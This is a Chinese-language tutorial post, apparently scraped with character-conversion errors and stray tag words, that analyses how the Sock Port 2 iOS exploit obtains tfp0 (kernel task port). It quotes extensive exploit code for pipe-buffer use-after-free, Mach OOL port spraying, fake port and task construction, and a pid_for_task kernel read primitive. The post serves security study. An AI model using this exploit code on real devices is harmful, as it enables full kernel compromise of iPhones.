經過前 3 篇文章咱們已經掌握了經過 Sock Port 達到 tfp0 所須要的 Primitives,本文將帶你們分析 Sock Port 利用上述 Primitives 實現 tfp0 的過程。git
本文只會對關鍵代碼進行講解,請你們自行打開 Sock Port 2 中的 exploit.c
,從 get_tfp0
函數入手結合本文進行分析。github
首先咱們將整個得到 tfp0 的步驟分解,給你們一個總體的認識。安全
self_port_address
,進而獲取如下內容;
self_task_addresss
ipc_space_kernel
fds
,經過 self_task_addresss
包含的進程信息 proc
能夠查詢到 fds
句柄在內核中所分配緩衝區的實際地址 pipe_buffer_address
;
pipe_buffer_address
對應的內容釋放,從而獲得一個已釋放的 pipe_buffer
;mach port
,使用 OOL Message Spraying 將其填充到已釋放的 pipe_buffer
;pipe_buffer
中的都是合法 port,隨後咱們僞造一個 fake port
和對應的 fake task
,而後將 fake_port_address
替換到 pipe_buffer
的前 8 個字節,這樣咱們就拿到了一個具備 send right 的 ipc_port
和 task
的控制權;fake_port
,咱們對其有完整的控制能力;fake_port
,咱們可以得到一個更加穩定的 Kernel Read Primitive,此後藉助它枚舉出內核進程,而後拿到內核的 vm_map
;vm_map
賦予 fake port
,此時咱們的 fake port
已是一個完備的 kernel task port,tfp0 初步成立;下面將詳細講解這些步驟中在前序文章中未說起的內容。app
PageSize 爲 16KB 的 iPhone 7 及以上設備包含了被稱之爲 SMAP(Supervisor Mode Access Prevention) 的緩解措施,經過這項措施可以阻止內核直接訪問 userland 內存,爲二進制漏洞利用帶來了一些限制。函數
根據 Wikipedia 上對 SMAP 的描述[1]:post
Supervisor Mode Access Prevention (SMAP) is a feature of some CPU implementations such as the Intel Broadwell microarchitecture that allows supervisor mode programs to optionally set user-space memory mappings so that access to those mappings from supervisor mode will cause a trap. This makes it harder for malicious programs to "trick" the kernel into using instructions or data from a user-space program.ui
即 SMAP 使得處於 Supervisor Mode 的程序(例如 Kernel)在訪問用戶空間內存時會觸發異常,這使得咱們在用戶態 fake 的數據不能直接被內核訪問。爲了繞過這一限制,咱們必須設法在內核中分配可控的區域。this
幸運的是操做系統提供了 Pipe IO System Call,根據 GeeksforGeeks 上對 Pipe 的描述[2]:spa
Conceptually, a pipe is a connection between two processes, such that the standard output from one process becomes the standard input of the other process. In UNIX Operating System, Pipes are useful for communication between related processes(inter-process communication).操作系統
即 pipe 是兩個進程間通訊的管道,一個進程的標準輸出將做爲另外一個進程的標準輸入。使用 pipe 函數能夠獲得一對讀寫句柄 fds,以下圖所示(圖片來自 GeeksforGeeks):
使用 pipe 讀寫時,因爲要實現跨進程共享內存,緩衝區會被分配到內核中,在用戶態拿到的是 fd 句柄,而 fd 對應的緩衝區地址被記錄在了任務端口上,基於已泄露的 task port
和前序文章中提到的 Kernel Read Primitive 便可拿到內核中的緩衝區地址。此時咱們已經間接得到了一塊內核中的可控區域,關鍵代碼以下(省略了錯誤檢查):
// here we'll create a pair of pipes (4 file descriptors in total)
// first pipe, used to overwrite a port pointer in a mach message
int fds[2];
ret = pipe(fds);
if (ret) {
printf("[-] failed to create pipe\n");
goto err;
}
// make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512
uint8_t pipebuf[0x10000];
memset(pipebuf, 0, 0x10000);
write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel
read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position
write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)
複製代碼
上述代碼在內核中建立了一個大小爲 64K 的緩衝區,須要注意的是 fd 的讀寫平衡,每次 write 操做都會將 cursor 向後移動,每次 read 操做都將把 cursor 向前移動。這裏先經過一次平衡的讀寫在內核中建立了緩衝區,隨後寫入 8 字節,這是爲了方便以後從中讀回第一個 port,即咱們的 fake port。
基於 task port
和 fd 句柄很容易就能拿到 pipe buffer 的地址,關鍵代碼以下:
self_port_addr = task_self_addr(); // port leak primitive
uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
self_task_addr = task;
uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
self_proc_addr = proc;
uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES));
uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);
複製代碼
咱們的最終目的是控制一個 port,所以須要系統將 port 分配到咱們的可控區域,即 pipe buffer 中,這樣咱們就能對其進行徹底控制。這裏咱們將利用 Socket UAF 釋放 Pipe Buffer,再利用 Mach OOL Message Spraying 將有效的 port 填充過來。
在前序文章中咱們講了利用 Socket UAF 實現的 Kernel Read,其實它還能夠實現任意內核 Zone 的釋放邏輯,這裏的利用方式與以前提到的 Kernel Read 基本相同,也是把待處理的地址存儲到 fake options
中的 ip6po_pktinfo
字段。區別在於 Spraying 成功後,咱們不讀取內容,而是給 ip6po_pktinfo
寫一個全 0 的結構,這會致使 ip6po_pktinfo
指向的內容被釋放。
按照常規的理解,釋放 ip6po_pktinfo
指向的區域時,釋放的區域長度應當以 ip6po_pktinfo
長度爲準,但由內核中的代碼得知這裏使用了 FREE 函數,自動根據 zone 頭部的 size 決定釋放的長度,即以 ip6po_pktinfo
指向的區域爲準,這就致使了一個任意長度區域釋放的 Primitive,內核中的關鍵代碼以下:
void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname) {
if (pktopt == NULL)
return;
if (optname == -1 || optname == IPV6_PKTINFO) {
if (pktopt->ip6po_pktinfo)
FREE(pktopt->ip6po_pktinfo, M_IP6OPT); // <-- free
pktopt->ip6po_pktinfo = NULL;
}
// ...
複製代碼
它是對 kfree_addr
的封裝,而 kfree_addr
中有基於地址獲取到 zone 及 size 的邏輯:
vm_size_t kfree_addr(void *addr) {
vm_map_t map;
vm_size_t size = 0;
kern_return_t ret;
zone_t z;
size = zone_element_size(addr, &z); //
if (size) {
DTRACE_VM3(kfree, vm_size_t, -1, vm_size_t, z->elem_size, void*, addr);
zfree(z, addr);
return size;
}
// ...
複製代碼
利用上面的 Primitive,咱們可以輕易地釋放 Pipe Buffer:
// free the first pipe buffer
ret = free_via_uaf(pipe_buffer);
複製代碼
此時咱們已經達成了 Pipe Buffer UAF。
爲了得到合法、可控的 ipc_port
,咱們使用 Mach OOL Message 進行 Heap Spraying,這裏注意記錄下 remote port
,由於後續咱們須要接收消息拿到被咱們替換 port 的句柄:
// create a new port, this one we'll use for tfp0
mach_port_t target = new_port();
// reallocate it while filling it with a mach message containing send rights to our target port
mach_port_t p = MACH_PORT_NULL;
for (int i = 0; i < 10000; i++) {
// pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later
p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND);
// check if spraying worked by reading first 8 bytes
uint64_t addr;
read(fds[0], &addr, 8);
if (addr == target_addr) { // if we see the address of our port, it worked
break;
}
write(fds[1], &addr, 8); // reset buffer position
mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port
p = MACH_PORT_NULL;
}
複製代碼
這裏咱們使用了與 Pipe Buffer 尺寸相同(0x10000)的消息,以便可以成功的將 port address 填充到 Pipe Buffer 中。
如何檢查咱們是否成功呢?只須要先拿到上述 target port 的地址,再從 Pipe Buffer 中讀取 8B(因爲以前咱們預寫了 8B,這裏拿到的應該是第一個 port 的地址),若是 Spraying 成功 target port address 應當等於咱們從 Pipe Buffer 中讀到的地址。
上述填充到 Pipe Buffer 中的依然是用戶態 port,並無 tfp0 能力,咱們須要篡改這個 port 以得到 tfp0。
因爲 SMAP 的存在,咱們的 fake port 與 fake task 都須要經過 pipe 拷貝到內核中才能被正常訪問,所以咱們須要再建立一個 pipe。
Sock Port 源碼中這個部分十分巧妙,它在內核中分配了能容納 port 與 task 的連續區域,而後讓 port->task 指向與之相鄰的 task 區域,這樣咱們就用一片區域同時控制了 port 與 task,又繞過了 SMAP,關鍵代碼以下:
int port_fds[2] = {-1, -1};
pipe(port_fds);
// create fake port and fake task, put fake_task right after fakeport
kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);
ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));
bzero((void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->ref_count = 0xff;
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0xd00d;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
fakeport->ip_srights = 99;
fakeport->ip_kobject = 0;
fakeport->ip_receiver = ipc_space_kernel;
if (SMAP) {
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
}
// 這裏省略了得到 port_pipe_buffer 地址的代碼
if (SMAP) {
// align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)
fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t);
}
else {
fakeport->ip_kobject = (uint64_t)fake_task;
}
複製代碼
在 SMAP 下,內核中引用的地址不能來自 userland,所以上述關鍵代碼底部的 task 指向的是 Pipe Buffer 中的空間。
接下來咱們用 fake port 去替換 Pipe Buffer 中的第一個合法 port:
if (SMAP) {
// spraying worked, now the pipe buffer is filled with pointers to our target port
// overwrite the first pointer with our second pipe buffer, which contains the fake port
write(fds[1], &port_pipe_buffer, 8);
}
else {
write(fds[1], &fakeport, 8);
}
複製代碼
一樣注意,在 SMAP 模式下應當寫入 port_pipe_buffer
的地址而不是 userland 的 fakeport 地址。此時咱們已經將 fakeport 放到了合法的 port 區域,換句話說咱們徹底控制了一個 ipc_port
。
因爲 port 句柄包含了 rights 信息,咱們的篡改會改變 Pipe Buffer 中第一個 port 的句柄,所以咱們須要接收 OOL Message 來從新讀到這個句柄,還記得以前記錄下的 remote port 嗎,咱們能夠經過它接收發送的 OOL Message:
// receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!
struct ool_msg *msg = malloc(0x1000);
ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
free(msg);
printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret));
goto err;
}
mach_port_t *received_ports = msg->ool_ports.address;
mach_port_t our_port = received_ports[0]; // fake port!
free(msg);
複製代碼
這裏咱們能拿到 fakeport 對應的 port 句柄,而再也不是以前的 target port 句柄,這是由於內核在將 OOL Message 拷貝回用戶空間時,會執行 CAST_MACH_PORT_TO_NAME
宏函數進行轉換:
#define CAST_MACH_PORT_TO_NAME(x) ((mach_port_name_t)(uintptr_t)(x))
複製代碼
它會截取 ipc_port
的頭部 ipc_object
的 8B,即 ipc_object
中的前兩個成員:
struct ipc_port {
struct ipc_object ip_object;
struct ipc_mqueue ip_messages;
// ...
};
struct ipc_object {
ipc_object_bits_t io_bits; // 4B
ipc_object_refs_t io_references; // 4B
lck_spin_t io_lock_data;
};
複製代碼
所以最終 port 句柄其實是由 ipc_port
中的 io_bits
和 io_references
的值組成的。
如今咱們同時擁有了 ipc_port
的徹底控制權及其句柄,但這個 ipc_port
缺乏 vm_map
,並非一個合法的 task port,接下來咱們須要將內核的 vm_map
賦予它。
pid_for_task
函數接收一個進程的 port 做爲參數,並查詢它的 pid 返回,它的實現原理以下:
// 僞代碼
int pid = get_ipc_port(port)->task->bsd_info->p_pid;
複製代碼
而結構體成員訪問的本質是偏移量計算:
int pid = *(*(*(get_ipc_port(port) + offset_task) + offset_bsd_info) + offset_pid)
複製代碼
因爲咱們有 fakeport 的控制權,咱們能夠修改它的 bsd_info
等於 addr - offset_pid
,此時 *(*(get_ipc_port(port) + offset_task) + offset_bsd_info) = addr - offset_pid
,此時上述公式有以下的等價表達:
int pid = *(addr - offset_pid + offset_pid) = *addr
複製代碼
經過這種方式能穩定讀取 addr 處的 4B 數據,進而實現一個完美的 Kernel Read Primitive:
#define kr32(addr, value)\ if (SMAP) {\ read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\ if (SMAP) {\ write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ value = 0x0;\ ret = pid_for_task(our_port, (int *)&value);
複製代碼
首先經過 Pipe Buffer 修改 bsd_info
,而後將 fakeport 的句柄傳入 pid_for_task
,便可讀取到指定地址的 4B 數據。
經過組合屢次 kr32 能夠實現任意長度數據的 Kernel Read,例以下面的 kr64:
#define kr64(addr, value)\ kr32(addr + 0x4, read64_tmp);\ kr32(addr, value);\ value = value | ((uint64_t)read64_tmp << 32)
複製代碼
基於當前進程的 task_port
能夠枚舉出全部進程,在這個過程當中須要數百次的 Kernel Read,所以須要藉助於上述穩定的 pid_for_task Kernel Read Primitive
:
uint64_t struct_task;
kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
if (!struct_task) {
printf("[-] kernel read failed!\n");
goto err;
}
printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
printf("[+] Let's steal that kernel task port!\n");
// tfp0!
uint64_t kernel_vm_map = 0;
while (struct_task != 0) {
uint64_t bsd_info;
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
if (!bsd_info) {
printf("[-] kernel read failed!\n");
goto err;
}
uint32_t pid;
kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
if (pid == 0) {
uint64_t vm_map;
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
if (!vm_map) {
printf("[-] kernel read failed!\n");
goto err;
}
kernel_vm_map = vm_map;
break;
}
kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
}
複製代碼
因爲 proc
是一個雙向鏈表,咱們能夠從當前進程開始向前枚舉,直至 pid=0,再從 kernel task 中取出 vm_map
。
將上述獲取到的 kernel vm_map
寫入 fakeport,如今咱們有了一個合法的 kernel task port
:
read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);
fake_task->lock.data = 0x0;
fake_task->lock.type = 0x22;
fake_task->ref_count = 100;
fake_task->active = 1;
fake_task->map = kernel_vm_map;
*(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1;
if (SMAP) {
write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);
}
複製代碼
此時咱們應該已經擁有一個 tfp0 port,能夠藉助於 mach_vm 相關的內存函數予以驗證。
上述 tfp0 是一個偷樑換柱而來的 task port,可能會埋下一些隱患。接下來咱們能夠用 tfp0 去建立一個合法、穩定、安全的 tfp0:
mach_port_t new_tfp0 = new_port();
if (!new_tfp0) {
printf("[-] failed to allocate new tfp0 port\n");
goto err;
}
uint64_t new_addr = find_port(new_tfp0, self_port_addr);
if (!new_addr) {
printf("[-] failed to find new tfp0 port address\n");
goto err;
}
uint64_t faketask = kalloc(0x600);
if (!faketask) {
printf("[-] failed to kalloc faketask\n");
goto err;
}
kwrite(faketask, fake_task, 0x600);
fakeport->ip_kobject = faketask;
kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
複製代碼
這裏先建立了一個具備 send rights 的 port,而後從新建立了一個區域來容納 kernel task,這消除了以前 ipc_port
與 task 在 Port Pipe Buffer 中相鄰從而帶來的隱患。隨後將 Port Pipe Buffer 中的 task 拷貝到新分配的 task 區域,再將 fakeport 數據完整拷貝到新建立的 port,由此咱們獲得了一個新的 tfp0。
接下來咱們將先前的 tfp0 port 從進程的 port 索引表中抹去,再將已釋放的 Pipe Buffer 從 fd 索引表中抹去,最後關閉 IOSurfaceClient 與 pipe,釋放 userland 臨時分配的緩衝區:
// clean up port
uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = our_port >> 8;
const int sizeof_ipc_entry_t = 0x18;
wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);
wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg()
if (fds[0] > 0) close(fds[0]);
if (fds[1] > 0) close(fds[1]);
if (port_fds[0] > 0) close(port_fds[0]);
if (port_fds[1] > 0) close(port_fds[1]);
free((void *)fakeport);
deinit_IOSurface();
複製代碼
到這裏整個 Sock Port 利用就分析完了,咱們拿到了穩定的 tfp0,距離 Jailbreak 又近了一步。
本文梳理了 Sock Port 2 得到 tfp0 的整個過程,並對關鍵步驟進行了講解,經過閱讀本文可以對 Sock Port 在總體和細節上分別有深刻的認識。
到這裏 Sock Port 漏洞解析就告一段落了,經過這個 Exploit 咱們僅僅取得了 tfp0,距離 Jailbreak 還有很遠的距離。接下來的文章將開始分析講解 Undecimus Jailbreak 源碼,講解從 tfp0 到內核代碼執行,再到各類 Kernel Patch。